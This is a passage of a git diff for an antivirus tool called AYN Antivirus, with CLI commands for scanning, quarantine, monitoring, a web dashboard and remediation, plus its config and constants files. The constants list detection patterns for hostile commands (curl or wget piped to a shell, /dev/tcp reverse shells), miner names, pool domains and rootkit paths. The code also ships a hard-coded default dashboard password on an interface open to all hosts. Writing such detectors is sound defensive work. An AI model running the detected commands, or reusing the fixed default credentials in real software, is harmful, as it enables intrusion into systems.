console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious connection(s) found.[/bold red]" + ) + + +# =================================================================== +# scan-containers +# =================================================================== +@main.command("scan-containers") +@click.option( + "--runtime", + type=click.Choice(["all", "docker", "podman", "lxc"]), + default="all", + help="Container runtime to scan.", +) +@click.option("--container", default=None, help="Scan a specific container by ID or name.") +@click.option("--include-stopped", is_flag=True, help="Include stopped containers.") +@click.pass_obj +def scan_containers(cfg: Config, runtime: str, container: Optional[str], include_stopped: bool) -> None: + """Scan Docker/Podman/LXC containers for threats. + + Detects cryptominers, malware, reverse shells, misconfigurations, + and suspicious SUID binaries inside running containers. + + \b + Examples + -------- + ayn-antivirus scan-containers + ayn-antivirus scan-containers --runtime docker + ayn-antivirus scan-containers --container my-web-app + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + print_banner() + + scanner = ContainerScanner() + + if not scanner.available_runtimes: + console.print("[yellow]\u26a0 No container runtimes found (docker/podman/lxc)[/yellow]") + console.print("[dim]Install Docker, Podman, or LXC to use container scanning.[/dim]") + return + + console.print(f"[cyan]\U0001f433 Available runtimes:[/cyan] {', '.join(scanner.available_runtimes)}") + + if container: + console.print(f"\n[bold]Scanning container: {container}[/bold]") + else: + console.print(f"\n[bold]Scanning {runtime} containers\u2026[/bold]") + + with Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TimeElapsedColumn(), + console=console, + ) as progress: + task = progress.add_task("Scanning containers\u2026", total=None) + if container: + result = scanner.scan_container(container) + else: + result = scanner.scan(runtime) + progress.update(task, completed=100, total=100) + + # -- Containers table -- + if result.containers: + console.print(f"\n[bold green]\U0001f4e6 Containers Found: {result.containers_found}[/bold green]") + table = Table(title="Containers", box=box.ROUNDED, border_style="blue") + table.add_column("ID", style="cyan", max_width=12) + table.add_column("Name", style="white") + table.add_column("Image", style="dim") + table.add_column("Runtime", style="magenta") + table.add_column("Status") + table.add_column("IP", style="dim") + for c in result.containers: + sc = "green" if c.status == "running" else "red" if c.status == "stopped" else "yellow" + table.add_row( + c.container_id[:12], c.name, c.image[:40], c.runtime, + f"[{sc}]{c.status}[/{sc}]", + c.ip_address or "-", + ) + console.print(table) + + # -- Threats table -- + if result.threats: + console.print(f"\n[bold red]\U0001f6a8 Threats Found: {len(result.threats)}[/bold red]") + tt = Table(title="Container Threats", box=box.ROUNDED, border_style="red") + tt.add_column("Container", style="cyan") + tt.add_column("Threat", style="white") + tt.add_column("Type", style="magenta") + tt.add_column("Severity") + tt.add_column("Details", max_width=60) + sev_colors = {"CRITICAL": "red", "HIGH": "yellow", "MEDIUM": "blue", "LOW": "green"} + for t in result.threats: + sc = sev_colors.get(t.severity, "white") + tt.add_row( + t.container_name, t.threat_name, t.threat_type, + f"[{sc}]{t.severity}[/{sc}]", + t.details[:60], + ) + console.print(tt) + else: + console.print("\n[bold green]\u2705 No threats detected in containers.[/bold green]") + + if result.errors: + console.print(f"\n[yellow]\u26a0 Errors: {len(result.errors)}[/yellow]") + for err in result.errors: + console.print(f" [dim]\u2022 {err}[/dim]") + + console.print( + f"\n[dim]Scan completed in {result.duration_seconds:.1f}s | " + f"Containers scanned: {result.containers_scanned}/{result.containers_found}[/dim]" + ) + + +# =================================================================== +# update +# =================================================================== +@main.command() +@click.option("--force", is_flag=True, help="Force re-download even if signatures are fresh.") +@click.pass_obj +def update(cfg: Config, force: bool) -> None: + """Update threat signatures from all configured feeds. + + Downloads the latest YARA rules, hash databases, and threat intelligence + feeds. Requires network access and (optionally) API keys configured in + .env or config.yaml. + """ + from ayn_antivirus.signatures.manager import SignatureManager + + print_banner() + + console.print( + Panel( + "[bold]Updating threat signatures…[/bold]", + title="[bold cyan]Signature Updater[/bold cyan]", + border_style="cyan", + ) + ) + + mgr = SignatureManager(cfg) + + feed_names = mgr.feed_names + feed_results = {} + errors = [] + + with make_progress() as progress: + task = progress.add_task("Updating feeds…", total=len(feed_names)) + for name in feed_names: + progress.update(task, description=f"Updating {name}…") + try: + stats = mgr.update_feed(name) + feed_results[name] = stats + except Exception as exc: + feed_results[name] = {"error": str(exc)} + errors.append(name) + progress.advance(task) + + # --- Per-feed status table --- + table = Table( + title="Feed Update Results", + box=box.ROUNDED, + show_lines=True, + ) + table.add_column("Feed", style="cyan") + table.add_column("Status", width=10) + table.add_column("Fetched", justify="right") + table.add_column("Hashes", justify="right") + table.add_column("IPs", justify="right") + table.add_column("Domains", justify="right") + table.add_column("URLs", justify="right") + + total_new = 0 + for name, stats in feed_results.items(): + if "error" in stats: + table.add_row(name, "[red]ERROR[/red]", "-", "-", "-", "-", "-") + else: + inserted = stats.get("inserted", 0) + total_new += inserted + table.add_row( + name, + "[green]OK[/green]", + str(stats.get("fetched", 0)), + str(stats.get("hashes", 0)), + str(stats.get("ips", 0)), + str(stats.get("domains", 0)), + str(stats.get("urls", 0)), + ) + + console.print() + console.print(table) + + status_msg = ( + f"[green]All {len(feed_names)} feeds updated — {total_new} new entries.[/green]" + if not errors + else f"[yellow]{len(feed_names) - len(errors)}/{len(feed_names)} feeds updated, " + f"{len(errors)} error(s).[/yellow]" + ) + + console.print( + Panel( + f"{status_msg}\n[bold]Database:[/bold] {cfg.db_path}", + title="✅ [bold green]Update Complete[/bold green]" if not errors + else "⚠️ [bold yellow]Update Partial[/bold yellow]", + border_style="green" if not errors else "yellow", + ) + ) + + mgr.close() + + +# =================================================================== +# quarantine (sub-group) +# =================================================================== +@main.group() +@click.pass_obj +def quarantine(cfg: Config) -> None: + """Manage the quarantine vault. + + Quarantined files are encrypted and isolated. Use subcommands to list, + inspect, restore, or permanently delete quarantined items. + """ + pass + + +def _get_vault(cfg: Config): + """Lazily create a QuarantineVault from config.""" + from ayn_antivirus.quarantine.vault import QuarantineVault + return QuarantineVault(cfg.quarantine_path) + + +@quarantine.command("list") +@click.pass_obj +def quarantine_list(cfg: Config) -> None: + """List all quarantined items.""" + print_banner() + + vault = _get_vault(cfg) + + console.print( + Panel( + f"[bold]Quarantine path:[/bold] {cfg.quarantine_path}", + title="[bold cyan]Quarantine Vault[/bold cyan]", + border_style="cyan", + ) + ) + + items = vault.list_quarantined() + if not items: + console.print("[dim]Quarantine vault is empty.[/dim]") + return + + table = Table(box=box.ROUNDED, show_lines=True) + table.add_column("ID", style="dim", width=34) + table.add_column("Threat", style="red") + table.add_column("Original Path", style="cyan", max_width=50) + table.add_column("Quarantined At", style="white") + table.add_column("Size", style="dim", justify="right") + + for item in items: + table.add_row( + item.get("id", "?"), + item.get("threat_name", "?"), + item.get("original_path", "?"), + item.get("quarantine_date", "?"), + format_size(item.get("size", 0)), + ) + + console.print(table) + console.print(f"\n[bold]{len(items)}[/bold] item(s) quarantined.") + + +@quarantine.command("restore") +@click.argument("quarantine_id", type=str) +@click.option("--output", type=click.Path(), default=None, help="Restore to this path instead of original.") +@click.pass_obj +def quarantine_restore(cfg: Config, quarantine_id: str, output: Optional[str]) -> None: + """Restore a quarantined item by its ID. + + The file is decrypted and moved back to its original location. + Use `quarantine list` to find the ID. + """ + print_banner() + + vault = _get_vault(cfg) + try: + restored = vault.restore_file(quarantine_id, restore_path=output) + console.print(f"[green]✅ Restored:[/green] {restored}") + except FileNotFoundError as exc: + console.print(f"[red]Error:[/red] {exc}") + raise SystemExit(1) + + +@quarantine.command("delete") +@click.argument("quarantine_id", type=str) +@click.confirmation_option(prompt="Permanently delete this quarantined item?") +@click.pass_obj +def quarantine_delete(cfg: Config, quarantine_id: str) -> None: + """Permanently delete a quarantined item by its ID. + + This action is irreversible. You will be prompted for confirmation. + """ + print_banner() + + vault = _get_vault(cfg) + if vault.delete_file(quarantine_id): + console.print(f"[red]Deleted:[/red] {quarantine_id}") + else: + console.print(f"[yellow]Not found:[/yellow] {quarantine_id}") + + +@quarantine.command("info") +@click.argument("quarantine_id", type=str) +@click.pass_obj +def quarantine_info(cfg: Config, quarantine_id: str) -> None: + """Show detailed information about a quarantined item.""" + print_banner() + + vault = _get_vault(cfg) + try: + info = vault.get_info(quarantine_id) + except FileNotFoundError: + console.print(f"[red]Error:[/red] Quarantine ID not found: {quarantine_id}") + raise SystemExit(1) + + console.print( + Panel( + f"[bold]ID:[/bold] {info.get('id', '?')}\n" + f"[bold]Threat:[/bold] {info.get('threat_name', '?')}\n" + f"[bold]Type:[/bold] {info.get('threat_type', '?')}\n" + f"[bold]Severity:[/bold] {info.get('severity', '?')}\n" + f"[bold]Original path:[/bold] {info.get('original_path', '?')}\n" + f"[bold]Permissions:[/bold] {info.get('original_permissions', '?')}\n" + f"[bold]Size:[/bold] {format_size(info.get('file_size', 0))}\n" + f"[bold]Hash:[/bold] {info.get('file_hash', '?')}\n" + f"[bold]Quarantined:[/bold] {info.get('quarantine_date', '?')}", + title="[bold cyan]Quarantine Item Detail[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# monitor +# =================================================================== +@main.command() +@click.option( + "--paths", + multiple=True, + help="Directories to watch (default: configured scan paths).", +) +@click.option("--daemon", "-d", is_flag=True, help="Run in background as a daemon.") +@click.pass_obj +def monitor(cfg: Config, paths: tuple, daemon: bool) -> None: + """Start real-time file-system monitoring. + + Watches configured directories for new or modified files and scans them + immediately. Uses inotify (Linux) / FSEvents (macOS) via watchdog. + + Press Ctrl+C to stop. + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.monitor.realtime import RealtimeMonitor + + print_banner() + + watch_paths = list(paths) if paths else cfg.scan_paths + + console.print( + Panel( + "[bold]Watching:[/bold] " + ", ".join(watch_paths) + "\n" + "[bold]Mode:[/bold] " + ("daemon" if daemon else "foreground") + "\n" + "[bold]Auto-quarantine:[/bold] " + ("on" if cfg.auto_quarantine else "off"), + title="[bold cyan]Real-Time Monitor[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + rt_monitor = RealtimeMonitor(cfg, engine) + rt_monitor.start(paths=watch_paths, recursive=True) + + console.print("[green]\u2705 Real-time monitor active. Press Ctrl+C to stop.[/green]\n") + try: + while rt_monitor.is_running: + time.sleep(1) + except KeyboardInterrupt: + rt_monitor.stop() + console.print("\n[yellow]Monitor stopped.[/yellow]") + + +# =================================================================== +# dashboard +# =================================================================== +@main.command() +@click.option("--host", default=None, help="Dashboard host (default: 0.0.0.0).") +@click.option("--port", type=int, default=None, help="Dashboard port (default: 7777).") +@click.pass_obj +def dashboard(cfg: Config, host: Optional[str], port: Optional[int]) -> None: + """Start the live web security dashboard. + + Opens an aiohttp web server with real-time system metrics, threat + monitoring, container scanning, and signature management. + + \b + Examples + -------- + ayn-antivirus dashboard + ayn-antivirus dashboard --host 127.0.0.1 --port 8080 + """ + print_banner() + + if host: + cfg.dashboard_host = host + if port: + cfg.dashboard_port = port + + console.print( + Panel( + f"[bold cyan]\U0001f310 Starting AYN Antivirus Dashboard[/bold cyan]\n\n" + f" URL: [green]http://{cfg.dashboard_host}:{cfg.dashboard_port}[/green]\n" + f" Press [bold]Ctrl+C[/bold] to stop", + title="\u2694\ufe0f Dashboard", + border_style="cyan", + ) + ) + + try: + from ayn_antivirus.dashboard.server import DashboardServer + + server = DashboardServer(cfg) + server.run() + except KeyboardInterrupt: + console.print("\n[yellow]Dashboard stopped.[/yellow]") + except ImportError as exc: + console.print(f"[red]Missing dependency: {exc}[/red]") + console.print("[dim]Install aiohttp: pip install aiohttp[/dim]") + except Exception as exc: + console.print(f"[red]Dashboard error: {exc}[/red]") + + +# =================================================================== +# report +# =================================================================== +@main.command() +@click.option( + "--format", + "fmt", + type=click.Choice(["text", "json", "html"], case_sensitive=False), + default="text", + show_default=True, + help="Output format for the report.", +) +@click.option( + "--output", + "output_path", + type=click.Path(dir_okay=False), + default=None, + help="Write report to this file instead of stdout.", +) +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Run a scan and generate a report from results.", +) +@click.pass_obj +def report(cfg: Config, fmt: str, output_path: Optional[str], scan_path: Optional[str]) -> None: + """Generate a scan report. + + Runs a scan (or uses the last cached result) and compiles findings into + a human- or machine-readable report. + + \b + Examples + -------- + ayn-antivirus report + ayn-antivirus report --format json --output /tmp/report.json + ayn-antivirus report --format html --output report.html + ayn-antivirus report --path /var/www --format html --output www_report.html + """ + from ayn_antivirus.core.engine import ScanEngine, ScanResult + from ayn_antivirus.reports.generator import ReportGenerator + + print_banner() + + # Run a fresh scan to populate the report. + engine = ScanEngine(cfg) + if scan_path: + console.print(f"[bold]Scanning:[/bold] {scan_path}") + scan_result = engine.scan_path(scan_path, recursive=True) + else: + # Scan first configured path (or produce an empty result). + target = cfg.scan_paths[0] if cfg.scan_paths else "/" + if Path(target).exists(): + console.print(f"[bold]Scanning:[/bold] {target}") + scan_result = engine.scan_path(target, recursive=True) + else: + scan_result = ScanResult() + + gen = ReportGenerator() + + if fmt == "json": + content = gen.generate_json(scan_result) + elif fmt == "html": + content = gen.generate_html(scan_result) + else: + content = gen.generate_text(scan_result) + + if output_path: + gen.save_report(content, output_path) + console.print(f"[green]Report written to:[/green] {output_path}") + else: + out.print(content) + + +# =================================================================== +# status +# =================================================================== +@main.command() +@click.pass_obj +def status(cfg: Config) -> None: + """Show current protection status. + + Displays last scan time, signature freshness, threat counts, quarantine + size, and real-time monitor state at a glance. + """ + print_banner() + + sig_db = Path(cfg.db_path) + sig_status = "[green]up to date[/green]" if sig_db.exists() else "[red]not found[/red]" + sig_modified = ( + datetime.fromtimestamp(sig_db.stat().st_mtime).strftime("%Y-%m-%d %H:%M:%S") + if sig_db.exists() + else "N/A" + ) + + # Use real vault count. + try: + vault = _get_vault(cfg) + quarantine_count = vault.count() + except Exception: + quarantine_count = 0 + + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("Version", __version__) + table.add_row("Signature DB", sig_status) + table.add_row("Signatures Updated", sig_modified) + table.add_row("Last Scan", "[dim]N/A[/dim]") + table.add_row("Threats (last scan)", "[green]0[/green]") + table.add_row("Quarantined Items", str(quarantine_count)) + table.add_row( + "Real-Time Monitor", + "[green]active[/green]" if cfg.enable_realtime_monitor else "[dim]inactive[/dim]", + ) + table.add_row("Auto-Quarantine", "[green]on[/green]" if cfg.auto_quarantine else "[dim]off[/dim]") + table.add_row("YARA Engine", "[green]enabled[/green]" if cfg.enable_yara else "[dim]disabled[/dim]") + table.add_row("Heuristics", "[green]enabled[/green]" if cfg.enable_heuristics else "[dim]disabled[/dim]") + + console.print( + Panel( + table, + title="[bold cyan]Protection Status[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# config +# =================================================================== +@main.command("config") +@click.option("--show", is_flag=True, default=True, help="Display current configuration.") +@click.option("--set", "set_key", nargs=2, type=str, default=None, help="Set a config value: KEY VALUE.") +@click.pass_obj +def config_cmd(cfg: Config, show: bool, set_key: Optional[tuple]) -> None: + """Show or edit the current configuration. + + Without flags, prints the active configuration as a table. Use --set to + change a value (persisted to ~/.ayn-antivirus/config.yaml). + + \b + Examples + -------- + ayn-antivirus config + ayn-antivirus config --set auto_quarantine true + ayn-antivirus config --set scan_schedule '0 3 * * *' + """ + print_banner() + + if set_key: + key, value = set_key + + VALID_CONFIG_KEYS = { + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", + "api_keys", + } + if key not in VALID_CONFIG_KEYS: + console.print(f"[red]Invalid config key: {key}[/red]") + console.print(f"[dim]Valid keys: {', '.join(sorted(VALID_CONFIG_KEYS))}[/dim]") + return + + config_file = Path.home() / ".ayn-antivirus" / "config.yaml" + config_file.parent.mkdir(parents=True, exist_ok=True) + + import yaml + + data = {} + if config_file.exists(): + data = yaml.safe_load(config_file.read_text()) or {} + + # Coerce booleans / ints + if value.lower() in ("true", "false"): + value = value.lower() == "true" + else: + try: + value = int(value) + except ValueError: + pass + + data[key] = value + config_file.write_text(yaml.dump(data, default_flow_style=False)) + console.print(f"[green]Set[/green] [bold]{key}[/bold] = {value}") + console.print(f"[dim]Saved to {config_file}[/dim]") + return + + # Show current config + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("scan_paths", ", ".join(cfg.scan_paths)) + table.add_row("exclude_paths", ", ".join(cfg.exclude_paths)) + table.add_row("quarantine_path", cfg.quarantine_path) + table.add_row("db_path", cfg.db_path) + table.add_row("log_path", cfg.log_path) + table.add_row("auto_quarantine", str(cfg.auto_quarantine)) + table.add_row("scan_schedule", cfg.scan_schedule) + table.add_row("max_file_size", format_size(cfg.max_file_size)) + table.add_row("enable_yara", str(cfg.enable_yara)) + table.add_row("enable_heuristics", str(cfg.enable_heuristics)) + table.add_row("enable_realtime_monitor", str(cfg.enable_realtime_monitor)) + table.add_row( + "api_keys", + ", ".join(f"{k}=***" for k in cfg.api_keys) if cfg.api_keys else "[dim](none)[/dim]", + ) + + console.print( + Panel( + table, + title="[bold cyan]Active Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# fix +# =================================================================== +@main.command() +@click.option("--all", "fix_all", is_flag=True, help="Auto-remediate all detected threats.") +@click.option("--threat-id", type=int, default=None, help="Remediate a specific threat by ID.") +@click.option("--dry-run", is_flag=True, help="Preview actions without making changes.") +@click.pass_obj +def fix(cfg: Config, fix_all: bool, threat_id: Optional[int], dry_run: bool) -> None: + """Auto-patch and remediate detected threats. + + Runs a quick scan to find threats, then applies automatic remediation: + quarantine malicious files, kill rogue processes, remove malicious cron + entries, and clean persistence mechanisms. + + \b + Examples + -------- + ayn-antivirus fix --all + ayn-antivirus fix --all --dry-run + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.remediation.patcher import AutoPatcher + + print_banner() + + if not fix_all and threat_id is None: + console.print("[red]Error:[/red] Specify --all or --threat-id .") + raise SystemExit(1) + + mode = "dry-run" if dry_run else "live" + scope = f"threat #{threat_id}" if threat_id else "all threats" + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Scope:[/bold] {scope}", + title="[bold cyan]Remediation Engine[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Run a quick scan to find threats --- + engine = ScanEngine(cfg) + + console.print("\n[bold]Running quick scan to identify threats…[/bold]") + scan_result = engine.quick_scan() + + threats = scan_result.threats + if not threats: + console.print( + Panel( + "[green]No threats found — nothing to remediate.[/green]", + title="✅ [bold green]System Clean[/bold green]", + border_style="green", + ) + ) + return + + if threat_id is not None: + if threat_id < 1 or threat_id > len(threats): + console.print(f"[red]Error:[/red] Threat ID {threat_id} out of range (1-{len(threats)}).") + raise SystemExit(1) + threats = [threats[threat_id - 1]] + + # --- Remediate --- + patcher = AutoPatcher(dry_run=dry_run) + all_actions = [] + + for threat in threats: + threat_dict = { + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "path": threat.path, + "threat_name": threat.threat_name, + } + actions = patcher.remediate_threat(threat_dict) + all_actions.extend(actions) + + if not all_actions: + console.print("[green]No actionable remediation steps for found threats.[/green]") + return + + # --- Display results --- + table = Table( + title="Remediation Actions" + (" (DRY RUN)" if dry_run else ""), + box=box.ROUNDED, + show_lines=True, + title_style="bold yellow" if dry_run else "bold green", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Action", style="white") + table.add_column("Target", style="cyan", max_width=55) + table.add_column("Status", width=10) + table.add_column("Details", style="dim", max_width=40) + + for idx, action in enumerate(all_actions, 1): + status_text = "[green]done[/green]" if action.success else "[red]failed[/red]" + if action.dry_run: + status_text = "[dim]pending[/dim]" + table.add_row( + str(idx), + action.action, + action.target, + status_text, + action.details[:40] if action.details else "", + ) + + console.print() + console.print(table) + + if dry_run: + console.print("\n[yellow]Dry run — no changes were made.[/yellow]") + else: + succeeded = sum(1 for a in all_actions if a.success) + console.print( + f"\n[green]✅ {succeeded}/{len(all_actions)} remediation action(s) applied.[/green]" + ) diff --git a/ayn-antivirus/ayn_antivirus/config.py b/ayn-antivirus/ayn_antivirus/config.py new file mode 100644 index 0000000..2c62181 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/config.py @@ -0,0 +1,142 @@ +"""Configuration loader for AYN Antivirus.""" + +from __future__ import annotations + +import os +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import yaml + +from ayn_antivirus.constants import ( + DEFAULT_CONFIG_PATHS, + DEFAULT_DASHBOARD_DB_PATH, + DEFAULT_DASHBOARD_HOST, + DEFAULT_DASHBOARD_PASSWORD, + DEFAULT_DASHBOARD_PORT, + DEFAULT_DASHBOARD_USERNAME, + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + MAX_FILE_SIZE, +) + + +@dataclass +class Config: + """Application configuration, loaded from YAML config files or environment variables.""" + + scan_paths: List[str] = field(default_factory=lambda: [DEFAULT_SCAN_PATH]) + exclude_paths: List[str] = field( + default_factory=lambda: ["/proc", "/sys", "/dev", "/run", "/snap"] + ) + quarantine_path: str = DEFAULT_QUARANTINE_PATH + db_path: str = DEFAULT_DB_PATH + log_path: str = DEFAULT_LOG_PATH + auto_quarantine: bool = False + scan_schedule: str = "0 2 * * *" + api_keys: Dict[str, str] = field(default_factory=dict) + max_file_size: int = MAX_FILE_SIZE + enable_yara: bool = True + enable_heuristics: bool = True + enable_realtime_monitor: bool = False + dashboard_host: str = DEFAULT_DASHBOARD_HOST + dashboard_port: int = DEFAULT_DASHBOARD_PORT + dashboard_db_path: str = DEFAULT_DASHBOARD_DB_PATH + dashboard_username: str = DEFAULT_DASHBOARD_USERNAME + dashboard_password: str = DEFAULT_DASHBOARD_PASSWORD + + @classmethod + def load(cls, config_path: Optional[str] = None) -> Config: + """Load configuration from a YAML file, then overlay environment variables. + + Search order: + 1. Explicit ``config_path`` argument. + 2. /etc/ayn-antivirus/config.yaml + 3. ~/.ayn-antivirus/config.yaml + 4. Environment variables (always applied last as overrides). + """ + data: Dict[str, Any] = {} + + paths_to_try = [config_path] if config_path else DEFAULT_CONFIG_PATHS + for path in paths_to_try: + if path and Path(path).is_file(): + with open(path, "r") as fh: + data = yaml.safe_load(fh) or {} + break + + defaults = cls() + config = cls( + scan_paths=data.get("scan_paths", defaults.scan_paths), + exclude_paths=data.get("exclude_paths", defaults.exclude_paths), + quarantine_path=data.get("quarantine_path", DEFAULT_QUARANTINE_PATH), + db_path=data.get("db_path", DEFAULT_DB_PATH), + log_path=data.get("log_path", DEFAULT_LOG_PATH), + auto_quarantine=data.get("auto_quarantine", False), + scan_schedule=data.get("scan_schedule", "0 2 * * *"), + api_keys=data.get("api_keys", {}), + max_file_size=data.get("max_file_size", MAX_FILE_SIZE), + enable_yara=data.get("enable_yara", True), + enable_heuristics=data.get("enable_heuristics", True), + enable_realtime_monitor=data.get("enable_realtime_monitor", False), + dashboard_host=data.get("dashboard_host", DEFAULT_DASHBOARD_HOST), + dashboard_port=data.get("dashboard_port", DEFAULT_DASHBOARD_PORT), + dashboard_db_path=data.get("dashboard_db_path", DEFAULT_DASHBOARD_DB_PATH), + dashboard_username=data.get("dashboard_username", DEFAULT_DASHBOARD_USERNAME), + dashboard_password=data.get("dashboard_password", DEFAULT_DASHBOARD_PASSWORD), + ) + + # --- Environment variable overrides --- + config._apply_env_overrides() + + return config + + def _apply_env_overrides(self) -> None: + """Override config fields with AYN_* environment variables when set.""" + if os.getenv("AYN_SCAN_PATH"): + self.scan_paths = [p.strip() for p in os.environ["AYN_SCAN_PATH"].split(",")] + + if os.getenv("AYN_QUARANTINE_PATH"): + self.quarantine_path = os.environ["AYN_QUARANTINE_PATH"] + + if os.getenv("AYN_DB_PATH"): + self.db_path = os.environ["AYN_DB_PATH"] + + if os.getenv("AYN_LOG_PATH"): + self.log_path = os.environ["AYN_LOG_PATH"] + + if os.getenv("AYN_AUTO_QUARANTINE"): + self.auto_quarantine = os.environ["AYN_AUTO_QUARANTINE"].lower() in ( + "true", + "1", + "yes", + ) + + if os.getenv("AYN_SCAN_SCHEDULE"): + self.scan_schedule = os.environ["AYN_SCAN_SCHEDULE"] + + if os.getenv("AYN_MALWAREBAZAAR_API_KEY"): + self.api_keys["malwarebazaar"] = os.environ["AYN_MALWAREBAZAAR_API_KEY"] + + if os.getenv("AYN_VIRUSTOTAL_API_KEY"): + self.api_keys["virustotal"] = os.environ["AYN_VIRUSTOTAL_API_KEY"] + + if os.getenv("AYN_MAX_FILE_SIZE"): + self.max_file_size = int(os.environ["AYN_MAX_FILE_SIZE"]) + + if os.getenv("AYN_DASHBOARD_HOST"): + self.dashboard_host = os.environ["AYN_DASHBOARD_HOST"] + + if os.getenv("AYN_DASHBOARD_PORT"): + self.dashboard_port = int(os.environ["AYN_DASHBOARD_PORT"]) + + if os.getenv("AYN_DASHBOARD_DB_PATH"): + self.dashboard_db_path = os.environ["AYN_DASHBOARD_DB_PATH"] + + if os.getenv("AYN_DASHBOARD_USERNAME"): + self.dashboard_username = os.environ["AYN_DASHBOARD_USERNAME"] + + if os.getenv("AYN_DASHBOARD_PASSWORD"): + self.dashboard_password = os.environ["AYN_DASHBOARD_PASSWORD"] diff --git a/ayn-antivirus/ayn_antivirus/constants.py b/ayn-antivirus/ayn_antivirus/constants.py new file mode 100644 index 0000000..14d44f7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/constants.py @@ -0,0 +1,161 @@ +"""Constants for AYN Antivirus.""" + +import os + +# --- Default Paths --- +DEFAULT_CONFIG_PATHS = [ + "/etc/ayn-antivirus/config.yaml", + os.path.expanduser("~/.ayn-antivirus/config.yaml"), +] +DEFAULT_SCAN_PATH = "/" +DEFAULT_QUARANTINE_PATH = "/var/lib/ayn-antivirus/quarantine" +DEFAULT_DB_PATH = "/var/lib/ayn-antivirus/signatures.db" +DEFAULT_LOG_PATH = "/var/log/ayn-antivirus/" +DEFAULT_YARA_RULES_DIR = os.path.join(os.path.dirname(__file__), "signatures", "yara_rules") +QUARANTINE_ENCRYPTION_KEY_FILE = "/var/lib/ayn-antivirus/.quarantine.key" + +# --- Database --- +DB_SCHEMA_VERSION = 1 + +# --- Scan Limits --- +SCAN_CHUNK_SIZE = 65536 # 64 KB +MAX_FILE_SIZE = 100 * 1024 * 1024 # 100 MB +HIGH_CPU_THRESHOLD = 80 # percent + +# --- Suspicious File Extensions --- +SUSPICIOUS_EXTENSIONS = [ + ".php", + ".sh", + ".py", + ".pl", + ".rb", + ".js", + ".exe", + ".elf", + ".bin", + ".so", + ".dll", +] + +# --- Crypto Miner Process Names --- +CRYPTO_MINER_PROCESS_NAMES = [ + "xmrig", + "minerd", + "cpuminer", + "ethminer", + "claymore", + "phoenixminer", + "nbminer", + "t-rex", + "gminer", + "lolminer", + "bfgminer", + "cgminer", + "ccminer", + "nicehash", + "excavator", + "nanominer", + "teamredminer", + "wildrig", + "srbminer", + "xmr-stak", + "randomx", + "cryptonight", +] + +# --- Crypto Pool Domains --- +CRYPTO_POOL_DOMAINS = [ + "pool.minergate.com", + "xmrpool.eu", + "nanopool.org", + "mining.pool.observer", + "supportxmr.com", + "pool.hashvault.pro", + "moneroocean.stream", + "minexmr.com", + "herominers.com", + "2miners.com", + "f2pool.com", + "ethermine.org", + "unmineable.com", + "nicehash.com", + "prohashing.com", + "zpool.ca", + "miningpoolhub.com", +] + +# --- Suspicious Mining Ports --- +SUSPICIOUS_PORTS = [ + 3333, + 4444, + 5555, + 7777, + 8888, + 9999, + 14433, + 14444, + 45560, + 45700, +] + +# --- Known Rootkit Files --- +KNOWN_ROOTKIT_FILES = [ + "/usr/lib/libproc.so", + "/usr/lib/libext-2.so", + "/usr/lib/libns2.so", + "/usr/lib/libpam.so.1", + "/dev/shm/.x", + "/dev/shm/.r", + "/tmp/.ICE-unix/.x", + "/tmp/.X11-unix/.x", + "/usr/bin/sourcemask", + "/usr/bin/sshd2", + "/usr/sbin/xntpd", + "/etc/cron.d/.hidden", + "/var/tmp/.bash_history", +] + +# --- Suspicious Cron Patterns --- +SUSPICIOUS_CRON_PATTERNS = [ + r"curl\s+.*\|\s*sh", + r"wget\s+.*\|\s*sh", + r"curl\s+.*\|\s*bash", + r"wget\s+.*\|\s*bash", + r"/dev/tcp/", + r"base64\s+--decode", + r"xmrig", + r"minerd", + r"cryptonight", + r"\bcurl\b.*-o\s*/tmp/", + r"\bwget\b.*-O\s*/tmp/", + r"nohup\s+.*&", + r"/dev/null\s+2>&1", +] + +# --- Malicious Environment Variables --- +MALICIOUS_ENV_VARS = [ + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "LD_AUDIT", + "LD_DEBUG", + "HISTFILE=/dev/null", + "PROMPT_COMMAND", + "BASH_ENV", + "ENV", + "CDPATH", +] + +# ── Dashboard ────────────────────────────────────────────────────────── +DEFAULT_DASHBOARD_HOST = "0.0.0.0" +DEFAULT_DASHBOARD_PORT = 7777 +DEFAULT_DASHBOARD_DB_PATH = "/var/lib/ayn-antivirus/dashboard.db" +DASHBOARD_COLLECTOR_INTERVAL = 10 # seconds between metric samples +DASHBOARD_REFRESH_INTERVAL = 30 # JS auto-refresh seconds +DASHBOARD_MAX_THREATS_DISPLAY = 50 +DASHBOARD_MAX_LOG_LINES = 20 +DASHBOARD_SCAN_HISTORY_DAYS = 30 +DASHBOARD_METRIC_RETENTION_HOURS = 168 # 7 days + +# Dashboard authentication +DEFAULT_DASHBOARD_USERNAME = "admin" +DEFAULT_DASHBOARD_PASSWORD = "ayn@2024" diff --git a/ayn-antivirus/ayn_antivirus/core/__init__.py 